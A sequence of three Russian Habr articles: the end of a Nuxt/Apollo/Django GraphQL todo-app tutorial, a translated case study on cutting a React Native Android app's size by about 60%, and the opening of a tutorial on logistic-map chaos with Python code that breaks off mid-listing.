...,
'@nuxtjs/vuetify',
'@nuxtjs/apollo',
'cookie-universal-nuxt'
],
apollo: {
clientConfigs: {
default: '~/plugins/apollo-client.js'
}
},
...
}
```
Настройка Apollo дело невсегда тривиальное. Постараемся обойтись минимальной конфигурацией. Создадим файл по указанному выше пути:
Конфигурируем клиент `Apollo`, а вместе с тем формируем цепочку обработчиков запросов.
**apollo-client.js**
```
// frontend/plugins/apollo-client.js
import { HttpLink } from 'apollo-link-http'
import { setContext } from 'apollo-link-context'
import { from, concat } from 'apollo-link'
import { InMemoryCache } from 'apollo-cache-inmemory'
// Если плагин является функцией, то в процессе инициализации Nuxt передаёт в неё контекст ctx
export default ctx => {
/**
* По-умолчанию при рендере со стороны сервера заголовки
* в запросе к бэкенду не отправляются, так что "пробрасываем"
* заголовки от клиента.
*/
const ssrMiddleware = setContext((_, { headers }) => {
if (process.client) return headers
return {
headers: {
...headers,
connection: ctx.app.context.req.headers.connection,
referer: ctx.app.context.req.headers.referer,
cookie: ctx.app.context.req.headers.cookie
}
}
})
/**
* Добавление CSRF-токена к запросу.
* https://docs.djangoproject.com/en/2.2/ref/csrf/#ajax
*/
const csrfMiddleware = setContext((_, { headers }) => {
return {
headers: {
...headers,
'X-CSRFToken': ctx.app.$cookies.get('csrftoken') || null
}
}
})
const httpLink = new HttpLink({
uri: 'http://localhost:8000/graphql/',
credentials: 'include'
})
// Middleware в Apollo это примерно тоже самое что и middleware в Django,
// только на стороне клиента. Объединяем их в цепочку. Последовательность важна.
const link = from([csrfMiddleware, ssrMiddleware, httpLink])
// Инициализируем кэш. При должном усердии он может заменить Vuex,
// но об этом как-нибудь в другой раз
const cache = new InMemoryCache()
return {
link,
cache,
// без отключения стандартного apollo-module HttpLink'a в консоль сыпятся варнинги
defaultHttpLink: false
}
}
```
На этом этапе лучше еще раз удостовериться, что Nuxt собирается без ошибок, запустив dev сервер.
### Оживляем приложение
И вот наконец настало время соединить фронт и бэк.
Для начала где-нибудь создадим файл, в котором будут храниться все запросы и мутации к бэкенду. В моем случае этот файл расположился по пути `frontend/graphql.js` с уже знакомым нам содержимым:
**graphql.js**
```
import gql from 'graphql-tag'
// т.к. внутренности записи Todo используются практически во всех запросах,
// то резонно вынести их в отдельный фрагмент
// https://www.apollographql.com/docs/react/data/fragments/
const TODO_FRAGMENT = gql`
fragment TodoContents on TodoNode {
id
title
text
done
createdDate
dueDate
category {
id
name
}
}
`
const ADD_TODO = gql`
mutation(
$title: String!
$text: String
$dueDate: Date!
$category: String!
) {
addTodo(
title: $title
text: $text
dueDate: $dueDate
category: $category
) {
...TodoContents
}
}
${TODO_FRAGMENT}
`
const TOGGLE_TODO = gql`
mutation($todoId: ID) {
toggleTodo(todoId: $todoId) {
...TodoContents
}
}
${TODO_FRAGMENT}
`
const GET_CATEGORIES = gql`
{
categories {
id
name
}
}
`
const GET_TODO_LIST = gql`
{
todoList {
...TodoContents
}
}
${TODO_FRAGMENT}
`
const REMOVE_TODO = gql`
mutation($todoId: ID) {
removeTodo(todoId: $todoId)
}
`
export { ADD_TODO, TOGGLE_TODO, GET_CATEGORIES, GET_TODO_LIST, REMOVE_TODO }
```
Теперь нужно немного изменить уже существующий функционал фронтенда. Наконец пришло время добавить туда взаимодействие с бэкендом.
Изменим Vue компоненты:
**index.vue**
```
import NewTodoForm from '../components/NewTodoForm'
import TodoItem from '../components/TodoItem'
// импортируем свеженаписанные запросы
import { GET\_TODO\_LIST } from '../graphql'
export default {
components: { TodoItem, NewTodoForm },
data() {
return {
todoList: []
}
},
apollo: {
// получаем список todoList. При таком объявлении запроса переменная todoList
// должна записаться результатами запроса, однако запрос должен называться
// аналогично с переменной
todoList: { query: GET\_TODO\_LIST }
}
}
```
**NewTodoForm.vue**
```
Отмена
Выбрать
Добавить
// импортируем свеженаписанные запросы
import { ADD\_TODO, GET\_CATEGORIES, GET\_TODO\_LIST } from '../graphql'
export default {
name: 'NewTodoForm',
data() {
return {
newTodo: null,
categories: [],
valid: false,
menu: false,
nonEmptyField: text =>
text ? !!text.length : 'Поле не должно быть пустым',
loading: false // индикация выполнения запроса
}
},
apollo: {
// загрузка данных для селектора категорий
categories: {
query: GET\_CATEGORIES,
update({ categories }) {
return categories.map(c => c.name)
}
}
},
created() {
this.clear()
},
methods: {
add() {
this.loading = true
this.$apollo
.mutate({
mutation: ADD\_TODO,
variables: {
...this.newTodo
},
// кэш аполло позволяет манипулировать данными из этого кэша, вне зависимости
// от того, в каком компоненте выполняется код. Здесь в качестве ответа
// сервера мы получаем новую запись Todo. Добавляем её в кэш, записываем
// обратно по запросу GET\_TODO\_LIST, таким образом переменная Apollo
// сам разошлет всем подписчикам данного запроса измененные данные. В нашем
// случае подписчиком является переменная todoList в компоненте index.vue
update: (store, { data: { addTodo } }) => {
// если в кэше отсутствуют данные по запросу, то бросится исключение
const todoListData = store.readQuery({ query: GET\_TODO\_LIST })
todoListData.todoList.unshift(addTodo)
store.writeQuery({ query: GET\_CATEGORIES, data: todoListData })
const categoriesData = store.readQuery({ query: GET\_CATEGORIES })
// В списке категорий ищем категорию новой записи Todo. При неудачном поиске
// добавляем в кэш. Таким образом селектор категорий всегда остается
// в актуальном состоянии
const category = categoriesData.categories.find(
c => c.name === addTodo.category.name
)
if (!category) {
categoriesData.categories.push(addTodo.category)
store.writeQuery({ query: GET\_CATEGORIES, data: categoriesData })
}
}
})
.then(() => {
this.clear()
this.loading = false
this.$refs.form.reset() // сброс валидации формы
})
},
clear() {
this.newTodo = {
title: '',
text: '',
dueDate: '',
category: ''
}
}
}
}
```
**TodoItem.vue**
```
**{{ todo.title }}**
close
{{ todo.text }}
Выполнить до event {{ todo.dueDate }} | Создано
calendar\_today {{ todo.createdDate }}
categoryКатегория: {{ todo.category.name }}
// импортируем свеженаписанные запросы
import { GET\_TODO\_LIST, REMOVE\_TODO, TOGGLE\_TODO } from '../graphql'
export default {
name: 'TodoItem',
props: {
todo: {
type: Object,
default: () => ({})
}
},
// с этого момента изменения по-серьезнее
methods: {
toggle() {
// Для запроса который возвращает измененный элемент не обязательно
// вручную прописывать функцию update. Apollo сам найдёт в каких
// запросах "участвует" измененная запись, и разошлет всем подписчикам
// измененный объект. В нашем случае это запрос в компоненте index.vue
// на получение списка Todo
this.$apollo.mutate({
mutation: TOGGLE\_TODO,
variables: {
todoId: this.todo.id
}
})
},
remove() {
// функция update не видит контекста this
const todoId = this.todo.id
this.$apollo.mutate({
mutation: REMOVE\_TODO,
variables: {
todoId
},
update(store, { data: { removeTodo } }) {
if (!removeTodo) return
// В случае успешного удаления удаляем текущий элемент из кэша
const data = store.readQuery({ query: GET\_TODO\_LIST })
data.todoList = data.todoList.filter(todo => todo.id !== todoId)
// Самоуничтожаемся!
store.writeQuery({ query: GET\_TODO\_LIST, data })
}
})
}
}
}
```
Проверим, что у нас получилось
**Результат**
Заключение
----------
В этой статье я попытался рассказать как построить взаимодействие между Django и Nuxt с помощью GraphQL API, показать решение проблем с которыми довелось столкнуться мне. Надеюсь это подтолкнет энтузиастов попробовать что-то новое, и сэкономит время в решении проблем.
Весь код доступен на [GitHub](https://github.com/IngvarListard/nuxt-django-graphql-example). | https://habr.com/ru/post/492486/ | null | ru | null |
# Уменьшение размера React Native-приложения на 60% за несколько простых шагов
Я тружусь в компании [Mutual](https://mutual.club/). Она работает в Бразилии, в сфере равноправного кредитования. Мы помогаем заёмщикам и заимодавцам наладить связь друг с другом. Первые ищут хорошие ставки, а вторые — доходы, превышающие то, что может предложить им рынок. Наш продукт применяется широким кругом пользователей, мы работаем в большой стране. В результате наши приложения для iOS и Android, основанные на React Native, загружают на очень разные устройства.
[](https://habr.com/ru/company/ruvds/blog/502422/)
Надо отметить, что основная масса наших пользователей устанавливает приложения на бюджетные устройства. Мы можем делать такие выводы, пользуясь данными библиотеки Facebook [device-year-class](https://github.com/facebookarchive/device-year-class). Эта библиотека, получив сведения о модели устройства, сообщает о том, в каком году это устройство считалось бы высококлассным флагманским телефоном. Например, самым популярным телефоном среди наших пользователей является Samsung Galaxy A10. Этот телефон, хотя он и выпущен в 2019 году, мог бы считаться флагманом лишь в 2013. Анализируя данные об устройствах пользователей, мы можем говорить о том, что 85% этих устройств можно было бы признать устройствами высокого класса лишь в 2015 году или раньше. Из-за этого мы предъявляем особые требования к оптимизации нашего мобильного приложения. Цель оптимизации заключается в том, чтобы даже пользователи со слабыми устройствами могли бы с удобством пользоваться нашим приложением.
*Процент устройств, которые могли бы быть признаны флагманскими в определённом году*
В этой связи мы обратили пристальное внимание на размеры приложения. В случае с его Android-версией это было 26.8 Мб. Хотя это — не такой уж и большой размер, это, определённо, больше медианного значения размера приложений наших пользователей. Этот показатель, по сведениям Google Play Console, составляет 16.3 Мб. Размер приложения может быть решающим фактором для пользователей, имеющих ограниченные тарифные планы, или для тех из них, на устройствах которых мало памяти, что заставляет пользователей тщательно выбирать приложения, которые будут у них установлены. В результате некоторые приложения приходится удалять. Это особенно важно в случае с приложением Mutual, так как заёмщики платят ежемесячные взносы через это приложение. Когда заёмщик деинсталлирует наше приложение, шансы того, что он вовремя сделает платёж, очень сильно падают. А это напрямую влияет на заработки инвесторов, пользующихся нашей платформой.
*Размер приложения Mutual гораздо больше, чем медианный размер приложений наших пользователей*
Размер приложения влияет не только на уровень деинсталляций. Размер влияет ещё и на коэффициент конверсии установок приложения. [Вот](https://medium.com/googleplaydev/shrinking-apks-growing-installs-5d3fcba23ce2) хорошая статья об этом, написанная командой Google Play. В этой статье речь идёт о важности размеров приложения. В частности, там говорится о том, что каждые дополнительные 6 Мб размера APK-файла уменьшают коэффициент конверсии установок на 1%.
Там идёт речь и о том, что в развивающихся странах, где нормой являются бюджетные устройства, этот эффект проявляется даже сильнее. А именно, уменьшение размера APK-файла на 10 Мб на развивающихся рынках соответствует увеличению коэффициента конверсии установок примерно на 2.5%.
*Увеличение коэффициента конверсии установок на каждые 10 Мб уменьшения размера APK-файла в разных странах (по внутренним данным Google)*
Нас очень сильно мотивировало то, как уменьшение размеров приложения способно повлиять на уровень деинсталляций и коэффициент конверсии установок приложения. В результате мы принялись за работу, направленную на как можно более сильное уменьшение размеров приложения с учётом сохранения его удобства для пользователей. Первым шагом этого проекта был анализ официальных [рекомендаций](https://developer.android.com/topic/performance/reduce-apk-size) Google для Android-разработчиков.
Android App Bundle
------------------
Читая рекомендации, мы узнали о том, что самый простой способ уменьшения размера приложения заключается в использовании нового метода распространения приложений, который называется [Android App Bundle](https://developer.android.com/guide/app-bundle) (AAB). До этого момента мы распространяли приложение, собирая старый добрый файл [Android Package](https://developer.android.com/guide/components/fundamentals) (APK), который может быть запущен на большинстве Android-устройств, и загружая его в Google Play Console. А вот AAB-бандл содержит только скомпилированный код и ресурсы. В результате, при его загрузке, за генерирование оптимизированных APK-файлов для различных типов устройств, с учётом их спецификаций и архитектуры CPU, отвечает Google.
Получается, что внеся простое изменение в процесс сборки проекта, мы можем получить серьёзное уменьшение размера приложения, не прилагая к этому больше никаких усилий? Это слишком хорошо для правды!
После того, как мы почитали документацию, мы всего лишь поменяли сборочный скрипт React Native Gradle так, чтобы он, вместо текущего `assembleRelease`, запускал бы `bundleRelease`. Вот и всё, что нам понадобилось для создания AAB-файла. После ещё некоторых модификаций, внесённых в действие `supply` конфигурации [Fastlane](https://fastlane.tools/), касающихся автоматической выгрузки материалов прямо в Play Store, мы перешли на AAB, и новая версия нашего приложения появилась в Google Play Console.
Одно только это изменение привело к уменьшению размеров APK-файлов, передаваемых на устройства пользователей. Уменьшение составило от 9.1 до 12.4 Мб. Как оказалось, использование Android App Bundle — это действенная методика, которая, и правда, позволяет уменьшить размер приложения.
*Старый APK-файл и новый AAB-бандл, использование которого приводит к тому, что размер приложения на разных устройствах может составлять от 14.4 до 17.7 Мб*
Правда, тут стоит проявлять осторожность. Если вы используете React Native с [Hermes](https://hermesengine.dev/), то вам может понадобиться обновить вашу зависимость `soloader` (подробности смотрите [тут](https://github.com/facebook/react-native/issues/26400#issuecomment-539395814)). Иначе есть риск отдать пользователем приложение, в котором будет содержаться критическая ошибка. Нам повезло, мы смогли выявить эту проблему в ходе тестирования альфа-релиза проекта. Но ошибка легко могла бы проскочить в продакшн, так как она не проявляется при локальном тестировании или при сборке APK-файла.
Оптимизация ресурсов приложения с использованием Android Size Analyzer
----------------------------------------------------------------------
Следующим предложением по оптимизации приложений, которое мы нашли в документации, стало применение [Android Size Analyzer](https://developer.android.com/topic/performance/reduce-apk-size#size-analyzer). Это — инструмент командной строки, который анализирует Android-приложения и ищет возможности уменьшения их размеров. Мы запустили этот инструмент, воспользовавшись командой следующего вида:
```
size-analyzer check-bundle [BUNDLE].aab
```
В результате мы получили список больших ресурсов приложения и изображений, которые мы можем оптимизировать. Нам, кроме того, порекомендовали настроить ProGuard.
*Отчёт size-analyzer*
### ▍ProGuard
ProGuard — это инструмент для сжатия, обфускации и оптимизации Java-байткода. Мы пока не исследовали возможность применения этого средства, так как узнали о том, что оно может быть несовместимо с некоторыми Android-библиотеками. Так как мы стремились к тому, чтобы как можно быстрее уменьшить размер нашего приложения, и к тому, чтобы сделать это как можно проще, мы решили оставить этот метод оптимизации на будущее.
### ▍Большие ресурсы приложения
Запустив `size-analyzer` снова, с ключом `-d`, мы получили список ресурсов приложения, отсортированный по их размеру. Так как этому инструменту ничего не известно о том, как именно пользователи работают с приложением, он дал нам возможность самостоятельно принимать решения о том, какие ресурсы стоит удалить, а какие стоит загружать в приложение динамически.
*Список больших ресурсов приложения, упорядоченный по их размеру*
Первым и самым большим ресурсом в этом списке был JavaScript-бандл React Native. Сейчас мы не можем разделить этот бандл и загрузить его динамически. Но позже мы об этом подумаем. Далее в этом списке находятся большие файлы шрифтов (TTF) и изображений (JPG и PNG).
### ▍Ненужные изображения
Наше внимание сразу же привлекли огромные JPG-изображения, применяемые в [Storybook](https://storybook.js.org/). Мы пользуемся этой системой для разработки и тестирования компонентов. Это — 2 Мб мусора, который попадал в продакшн-версию проекта. Позорная ошибка! Когда происходит нечто подобное, мы чувствуем себя так, будто совершили серьёзную глупость. Но в сложном мире разработки ПО все совершают ошибки. Я верю в то, что если рассказывать о своих ошибках во всеуслышание, это поможет другим разработчикам учиться на этих ошибках. Есть вероятность того, что вы совершаете те же ошибки в том случае, если не анализируете структуру ресурсов приложения, размер которого постепенно увеличивается.
### ▍Шрифты
После того, как мы по-быстрому избавились от ненужных изображений, мы приступили к анализу других элементов списка ресурсов. Ясно было то, что в нём присутствовало очень много встроенных шрифтов. После того, как мы поговорили об этом с нашими дизайнерами, они сказали нам, что многие старые компоненты не отличаются строгим следованием типографским руководствам. Поэтому мы выяснили то, какие компоненты можно удалить, а в каких можно воспользоваться подходящими обновлёнными шрифтами. Благодаря этому мы смогли уменьшить количество используемых шрифтов с шести до четырёх.
Ещё одна вещь, на которую мы обратили внимание, заключалась в огромном размере самих файлов шрифтов. Размер каждого из них составлял примерно 670 Кб. Это означало, что четыре шрифта занимают в несжатом бандле умопомрачительные 2.7 Мб. Но, к нашему счастью, существует инструмент, называемый [FontForge](https://fontforge.org/en-US/), который позволяет глубоко анализировать и модифицировать файлы шрифтов. Воспользовавшись этим инструментом, мы смогли узнать о том, что основной причиной большого размера файлов шрифтов являются символы расширенной кириллицы и ненужные глифы. Мы могли спокойно всё это удалить, так как текстовая часть нашего приложения полностью написана на португальском языке. Благодаря этому изменению мы смогли уменьшить размеры файлов шрифтов с 670 Кб до 70 Кб — на 90%.
*Примеры некоторых глифов, включённых в наши шрифты*
Благодаря тому, что мы избавились от ненужных шрифтов и оптимизировали оставшиеся, мы смогли снизить размер приложения на 3.8 Мб. Это привело к приятному уменьшению общего размера APK-файла на 2 Мб.
*Список шрифтов и их размеры до оптимизации*
*Список шрифтов и их размеры после оптимизации*
### ▍Оптимизация изображений
Проанализировав изображения, которые ещё оставались в приложении, мы обратили внимание на то, что некоторые из них довольно-таки велики. Мы обработали несколько таких изображений средством для оптимизации графики [TinyPNG](https://tinypng.com/) и увидели значительное уменьшение размера этих изображений. После этого мы решили оптимизировать все JPG- и PNG-изображения, используемые в приложении. Всего их было 41.
*Изображение до и после оптимизации*
Это дало нам возможность сократить размеры изображений с 2.5 Мб до 756 Кб, то есть, на 70%. Правда, из-за того, что изображения раньше оптимизированы не были, они, в процессе создания итогового APK-файла, сжимались. Оказалось, что наша оптимизация привела к уменьшению размера приложения, загружаемого пользователем, лишь на 500 Кб.
После этого мы поняли, что уже истощили все возможности быстрой оптимизации. Продолжение оптимизации ресурсов потребовало бы либо больших усилий, либо дало бы лишь незначительные улучшения.
Оптимизация JavaScript-бандла React Native
------------------------------------------
После того, как мы разобрались с ресурсами приложения, специфичными для платформы Android, пришло время проанализировать JavaScript-бандл. Оптимизацию бандла можно счесть хорошей идеей по трём причинам. Во-первых, это уменьшает размер готового APK-файла. Во-вторых — это приводит к более быстрому запуску приложения, так как виртуальной машине JS приходится обрабатывать меньший объём кода. И наконец, что самое важное, это ускоряет OTA-обновления, которые мы делаем несколько раз в неделю, пользуясь [CodePush](https://microsoft.github.io/code-push/).
### ▍Анализатор бандла и оптимизация кода
Для того чтобы принять решение о том, как уменьшить размер бандла, сначала, надо было разобраться с тем, что в бандле занимает больше всего места. Для этого мы воспользовались отличным опенсорсным инструментом [react-native-bundle-visualizer](https://github.com/IjzerenHein/react-native-bundle-visualizer). Проанализировав с его помощью проект, мы получили визуализацию, в которой присутствовала каждая папка и каждая зависимость приложения с указанием размеров соответствующих сущностей.
*Снепшот библиотек и папок кодовой базы фронтенда приложения Mutual с указанием размеров*
Мы выяснили, что общий размер бандла составляет 5.49 Мб. 57.8% этого объёма представляют зависимости из папки `node_modules`, 27.5% — код приложения. То, что осталось, используемому нами инструменту идентифицировать не удалось. В ходе процесса сборки бандла неиспользуемый код уже удалялся, поэтому то, что мы видели, представляло собой код, который реально используется приложением. Но, даже учитывая это, в бандле всегда можно найти что-то такое, что можно улучшить.
Самая большая из зависимостей проекта — `math.js`. Эта библиотека, как можно судить по её названию, реализует множество математических операций. У нас нет особой необходимости в этой библиотеке из-за того, что мы выполняем все важные вычисления на сервере, после чего просто отправляем результаты приложению. Когда мы присмотрелись к коду приложения, оказалось, что библиотека используется лишь для выполнения некоторых простых операций. Она, вероятнее всего, использовалась разработчиком, который работал и над серверным кодом, лишь в силу привычки. Мы быстро извлекли из библиотеки соответствующие методы и встроили их в нашу кодовую базу, полностью избавившись от этой зависимости. Это позволило уменьшить размер бандла до 4.64 Мб. Отказ лишь от одной библиотеки позволил уменьшить размер бандла на 15.5%!
Как уже было сказано, мы, для разработки и тестирования компонентов, используем Storybook. Правда, соответствующие возможности должны быть доступны лишь в локальном и промежуточном окружениях. Конечным пользователям это не нужно. Благодаря этому мы воспользовались переменной `ENVIRONMENT` для того чтобы управлять включением соответствующей части приложения. Хотя это и подходит для ограничения доступа, бандлер не может знать о том, какое значение записано в эту переменную. Из-за этого ограничения весь код Storybook попадал в продакшн-бандл.
Для того чтобы исправить проблему, мы изолировали импорт этого раздела в пределах одного файла. Затем мы создали две версии этого файла: одну, которая включает Storybook, и другую, предназначенную для продакшна, содержащую лишь макет компонента. Для переключения между этими файлами при подготовке продакшн-версии бандла, мы написали скрипт, который выполняется перед сборкой проекта и меняет один файл на другой. Благодаря этому методу мы смогли полностью убрать код Storybook из продакшн-версии приложения, убрав и зависимость из `node_modules`, и обычный код, касающийся конфигурирования «историй» Storybook.
*Обновлённая папка Storybook с двумя версиями файла index*
Эти два изменения позволили сократить размер бандла с 5.49 Мб до 4.2 Мб. А это означает, что, кроме прочего, приложение будет быстрее загружаться и быстрее обновляться.
*Размер итогового бандла составил 4.2 Мб*
После всех этих улучшений мы снова загрузили приложение в Play Store. Теперь нам сообщалось о том, что размер готового APK-файла будет находиться в диапазоне от 10.5 до 13.7 Мб. Это, учитывая то, что изначально приложение имело размер в 26.8 Мб, означает просто невероятное сокращение размера проекта примерно на 60%! А значит, мы, как сказано в статье команды Google Play, вполне можем рассчитывать на то, что коэффициент конверсии установок увеличится на 3.75%.
*Сравнение исходной APK-версии приложения с итоговой AAB-версией, в которой сделаны все вышеописанные улучшения*
Итоги
-----
Мы, как программисты, ориентированные на нужды бизнеса, знаем о том, что иногда компании, ради более быстрого развития проекта, вполне можно пойти на увеличение его технического долга. Это особенно актуально для молодых стартапов вроде Mutual, которые пытаются найти своё место на рынке. Но если не наблюдать за этим долгом, можно совершить досадные ошибки, вроде отправки в продакшн 2 Мб тестировочных изображений и неоправданного использования огромной библиотеки. Нельзя позволять техническому долгу выходить из-под контроля и доставлять неприятности.
Кроме того, часто бывает так, что разработчики просто упускают доступные им возможности по оптимизации проектов. Поэтому рекомендуется иногда критически анализировать свои проекты. Просто для того, чтобы проверить, не упущена ли какая-то возможность быстрой оптимизации размера, скорости, или какого-то другого аспекта приложения. У нас ушло всего два дня на то, чтобы проанализировать приложение, спланировать работу и внести в проект улучшения, которые позволили сократить размер приложения на 60%. Сложно придумать что-то другое, способное дать такие же результаты за столь короткое время.
**А как вы оптимизируете свои React Native-проекты?**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=umen_shenierazmerareactnative#order) | https://habr.com/ru/post/502422/ | null | ru | null |
# Математические модели хаоса
### Введение
На Habr уже обсуждалась теория хаоса в статьях [1,2,3]. В этих статьях рассмотрены следующие аспекты теории хаоса: обобщённая схема генератора Чуа; моделирование динамики системы Лоренца; программируемые логическими интегральными схемами аттракторы Лоренца, Ресслера, Рикитаке и Нозе-Гувера.
Однако, техники теории хаоса используются и для моделирования биологических систем, которые, бесспорно, являются одними из наиболее хаотических систем из всех, что можно себе представить. Системы динамических равенств использовались для моделирования всего — от роста популяций и эпидемий, до аритмических сердцебиений [4].
В действительности, почти любая хаотическая система может быть смоделирована — рынок ценных бумаг порождает кривые, которые можно легко анализировать при помощи странных аттракторов, процесс падения капель из протекающего водопроводного крана кажется случайным при анализе невооруженным ухом, но, если его изобразить как странный аттрактор, открывается сверхъестественный порядок, которого нельзя было бы ожидать от традиционных средств.
Целью настоящей статьи является рассмотрение теории хаоса на примере роста численности биологических популяций и удвоения цикла в механических системах с графической визуализацией математических моделей основанной на простых интуитивно понятных программах, написанных на Python.
Статья написана с целью обучения, но позволит, даже не имеющему опыта программирования читателю, используя приведенные программы, самостоятельно решить большинство новых учебных задач по теме моделирования явлений хаоса.
### Удвоение периода циклов и хаос на примере роста численности биологических популяций
Начнём с рассмотрения логистического дифференциального уравнения, которое моделирует ограниченный, а не экспоненциальный рост численности биологических популяций:
Именно это уравнение может предсказать экзотические и неожиданные модели поведения некоторых популяций. Действительно, согласно (1) при  численность популяции приближается к граничной равной *a/b*.
Для численного решения логистического дифференциального решения можно использовать самый простой алгоритм, с численным значением шага времени, приняв , тогда решение (1) можно получить путём многократного применения следующего соотношения:
 (2)
Представим уравнение (2) в виде логистического уравнения в конечных разностях:
. (3),
где: *r=1+ah* и *s=bh*.
Подстановкой в (3) , получим итерационную формулу:
, (4)
Рассчитывая значения, заданные соотношением (3), можно сгенерировать последовательность 
максимальных значений численности популяций, которые будет поддерживать среда в заданные моменты времени .
Предполагаем, что существует предельное значение дробей, выражающих часть численности популяций:
, (5).
Будем исследовать, как зависит  от параметра роста *r* в уравнении (4). Для этого на Python напишем программу, которая, начиная с , вычисляет результаты при нескольких сотен итераций (*n=200*) для *r=1,5;2,0;2,5*:
**Код программы**
```
# -*- coding: utf8 -*-
from numpy import *
print(" n r=1,5 r=2,0 r=2,5 ")
M=zeros([201,3])
a=[1.5,2.0,2.5]
for j in arange(0,3,1):
M[0,j]=0.5
for j in arange(0,3,1):
for i in arange(1,201,1):
M[i,j]=a[j]*M[i-1,j]*(1-M[i-1,j])
for i in arange(0,201,1):
if 0<=i<=2:
print(" {0: 7.0f} {1: 7.4f} {2: 7.4f} {3: 7.4f} "
. format(i,M[i,0],M[i,1],M[i,2]))
elif 2
```
Результат работы программы (для сокращения вывода результатов приведены первые три и последние четыре значения):
```
n r=1,5 r=2,0 r=2,5
0 0.5000 0.5000 0.5000
1 0.3750 0.5000 0.6250
2 0.3516 0.5000 0.5859
.
.
.
197 0.3333 0.5000 0.6000
198 0.3333 0.5000 0.6000
199 0.3333 0.5000 0.6000
200 0.3333 0.5000 0.6000
```
Анализ дискретной модели показывает, что для r=1,5;2,0;2,5 с ростом количества итераций значение  стабилизируется и становится практически равным предельному , которое определяется соотношением (5). Причём для приведенных значений *r* величина  соответственно равна .
Увеличим r=3,1;3,25;3,5 и число итераций n=1008, для этого внесём следующие изменения в программу:
**Код программы**
```
# -*- coding: utf8 -*-
from numpy import *
print(" n r=3,1 r=3,25 r=3,5 ")
M=zeros([1008,3])
a= [3.1,3.25,3.5]
for j in arange(0,3,1):
M[0,j]=0.5
for j in arange(0,3,1):
for i in arange(1,1008,1):
M[i,j]=a[j]*M[i-1,j]*(1-M[i-1,j])
for i in arange(0,1008,1):
if 0<=i<=3:
print(" {0: 7.0f} {1: 7.4f} {2: 7.4f} {3: 7.4f} "
. format(i,M[i,0],M[i,1],M[i,2]))
elif 4
```
Результат работы программы (для сокращения вывода результатов приведены первые четыре и последние восемь значений):
```
n r=3,1 r=3,25 r=3,5
0 0.5000 0.5000 0.5000
1 0.7750 0.8125 0.8750
2 0.5406 0.4951 0.3828
3 0.7699 0.8124 0.8269
.
.
.
1000 0.5580 0.4953 0.5009
1001 0.7646 0.8124 0.8750
1002 0.5580 0.4953 0.3828
1003 0.7646 0.8124 0.8269
1004 0.5580 0.4953 0.5009
1005 0.7646 0.8124 0.8750
1006 0.5580 0.4953 0.3828
1007 0.7646 0.8124 0.8269
```
Как следует из приведенных данных, вместо того, чтобы стабилизироваться возле единственной предельной численности популяции, дробная часть численности популяции колеблется между двумя дробями по мере изменения времени. По сравнению с *r=3,1*, период цикла для *r=3,25* увеличивается вдвое, а для *r=3,5* в четыре раза.
**Программа для графического отображения циклов роста популяции**
```
# -*- coding: utf8 -*-
import matplotlib.pyplot as plt
from numpy import *
M=zeros([1008,3])
a= [3.1,3.25,3.5]
for j in arange(0,3,1):
M[0,j]=0.5
for j in arange(0,3,1):
for i in arange(1,1008,1):
M[i,j]=a[j]*M[i-1,j]*(1-M[i-1,j])
x=arange(987,999,1)
y=M[987:999,0]
y1=M[987:999,1]
y2=M[987:999,2]
plt.title('Удвоение цикла роста популяции для r=3,1;3,25;3,5')
plt.plot(x,y, label="T=1,ymax=%s,ymin=%s"%(round(max(y),3),round(min(y),3)))
plt.plot(x,y1, label="T=2,ymax=%s,ymin=%s"%(round(max(y1),3),round(min(y1),3)))
plt.plot(x,y2, label="T=4,ymax=%s,ymin=%s"%(round(max(y2),3),round(min(y2),3)))
plt.grid()
plt.legend(loc="best")
plt.ylabel("x(n)")
plt.xlabel("n")
plt.show()
```
Результат выполнения программы:
Благодаря удвоению периода итерация,  стала широко известной. Когда значение скорости роста превосходит *r=3,56*, удвоение периода ускоряется и уже в точке *r=3,57* возникает чрезвычайный хаос. Для отображения наступления хаоса воспользуемся следующей программой:
**Код программы**
```
# -*- coding: utf8 -*-
import matplotlib.pyplot as plt
from numpy import *
print(" n r=3,57 ")
M=zeros([1041,1])
a= [3.57]
for j in arange(0,1,1):
M[0,j]=0.5
for j in arange(0,1,1):
for i in arange(1,1041,1):
M[i,j]=a[j]*M[i-1,j]*(1-M[i-1,j])
for i in arange(0,1041,1):
if 1000<=i<=1015:
print(" {0: 7.0f} {1: 7.4f}"
. format(i,M[i,0]))
x=arange(999,1040,1)
y=M[999:1040,0]
plt.title(' Не детерминированный хаос для r=3,57')
plt.plot(x,y)
plt.grid()
plt.ylabel("x(n)")
plt.xlabel("n")
plt.show()
```
Результат выполнения программы:
```
n r=3,57
1000 0.4751
1001 0.8903
1002 0.3487
1003 0.8108
1004 0.5477
1005 0.8844
1006 0.3650
1007 0.8275
1008 0.5096
1009 0.8922
1010 0.3434
1011 0.8050
1012 0.5604
1013 0.8795
1014 0.3784
1015 0.8397
```
Напишем программу для визуализации зависимости поведения итераций от параметра роста *r*. Для каждого значения *r* в интервале  выполняется 1000 итераций для достижения устойчивости. Затем, каждые 250 значений, полученных в результате итераций, наносятся на график по вертикальной оси, образуя точки (*r,x*):
**Код программы**
```
# -*- coding: utf8 -*-
import matplotlib.pyplot as plt
from numpy import*
N=1000
y=[]
y.append(0.5)
for r in arange(2.8,4.0,0.0001):
for n in arange(1,N,1):
y.append(round(r*y[n-1]*(1-y[n-1]),4))
y=y[N-250:N]
x=[r ]*250
plt.plot( x,y, color='black', linestyle=' ', marker='.', markersize=1)
plt.title("Диаграмма ветвления при 2,8<= r<=4,0,0<=x<=1")
plt.xlabel("r")
plt.ylabel("y")
plt.axvline(x=3.01,color='black',linestyle='--')
plt.axvline(x=3.45, color='black',linestyle='--')
plt.axvline(x=3.6,color='black',linestyle='--')
plt.axvline(x=3.7,color='black',linestyle='--')
plt.axvline(x=3.8,color='black',linestyle='--')
plt.axvline(x=3.9,color='black',linestyle='--')
plt.show()
```
Результат в виде диаграммы:
Полученный график называется **“диаграммой ветвления”**, которая позволяет определить, чему соответствует данное значение *r* — циклу или хаосу. Единственное значение численности популяции определяется до значения , затем цикл с периодом 2 до , затем цикл с периодом 4, затем цикл с периодом 8 и далее с быстрым приближением к хаосу.
Следует отметить, что вертикальные области незаполненного пространства на графике- это области *r=3,6* и *r=3,7*, между *r=3,7* и *r=3,8*, между *r=3,8* и *r=3,9*, куда возвращается циклический порядок из предыдущего хаоса.
Для рассмотрения появления цикла с периодом кратным 3 в области  внесём изменения в предыдущую программу:
**Код программы**
```
# -*- coding: utf8 -*-
import matplotlib.pyplot as plt
from numpy import*
N=1000
y=[]
y.append(0.5)
for r in arange(3.8,3.9,0.0001):
for n in arange(1,N,1):
